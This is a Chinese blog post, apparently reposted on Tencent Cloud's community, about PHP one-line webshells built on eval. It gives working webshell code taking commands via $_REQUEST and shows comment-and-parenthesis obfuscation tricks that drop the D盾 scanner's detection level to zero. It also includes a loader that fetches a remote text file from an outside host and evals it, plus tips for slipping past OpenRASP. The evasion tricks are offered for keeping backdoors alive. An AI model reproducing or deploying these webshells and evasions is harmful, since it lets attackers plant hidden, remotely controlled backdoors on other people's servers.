前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >eval与php一句话的关系

eval与php一句话的关系

作者头像
随心助手
发布2019-10-15 12:04:46
1.2K0
发布2019-10-15 12:04:46
举报
文章被收录于专栏:nginx遇上redis

||作者:抹布

part1

首先我们知道,eval能执行php代码,最常见的php一句话也是用eval关键字的。 <?php @eval($_GET["code"])?>

Part2

在论坛学习的时候,有一个现象,如果有人分享免杀一句话,里面用了 eval 这个关键字,很多人就会如图。

Part3

很多表哥都这样说,主要还是因为eval这个函数,在人们心中是个危险函数,基本WAF看见秒杀那种,可事实真的是这样嘛??!

Part4

我们先写一个必被秒杀的一句话

代码语言:javascript
复制
<?php
$a= $_REQUEST[1];
eval($a);
?>

D盾 4级

将变量$a的值引用给$b,所以在这里$a和$b是相等的。

代码语言:javascript
复制
<?php
@$a = $_REQUEST[1];
eval($b=&$a); 
?>

D盾 1级

以前是可以0级的,今天D盾更新了嘎嘎。

Part5

利用php注释/**/ 与括号() 首先我先来看看下面这个一句话

代码语言:javascript
复制
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval($a);
?>

D盾 1级

那么如何做到0级呢,我们可以利用() /**/

代码语言:javascript
复制
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>

D盾并没有扫描出来

关于() /**/早就有大佬写文章时提出了,如何有效利用呢,一般如果你使用回调函数写的一句话,时间久了被waf杀,你可以尝试用这种方法,说不定可以让你的一句话起死回生。

Part5

举个例子嘿 这个马子是很久以前的,早就加入特征库。

代码语言:javascript
复制
<?php $a=fopen('http://xxxx/xx.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print(eval(($c=$b)));fclose($a);

D盾 5级

利用() //来混淆** 这也算是D盾的一种bug。

代码语言:javascript
复制
<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?>

D盾 0级

Part6

杂谈 各种webshell扫描软件都有不同的优缺点,D盾的话各种能力比较综合,也在不断更新,特征库也比较全,有个有趣的就是D盾扫描一个只有几十字节的一句话报1,2级,只要把这个一句话多加字符串加大体积就变成0级。还有OpenRASP WEBDIR+检测引擎这个真的满厉害的,各种回调基本能杀,但是就算是正常文件体积大点都被查出后门,有点误报,绕过的话,不使用回调来写一句话更容易过,用一些字符串操作符。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-04-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 nginx遇上redis 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • part1
  • Part2
  • Part4
  • Part5
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档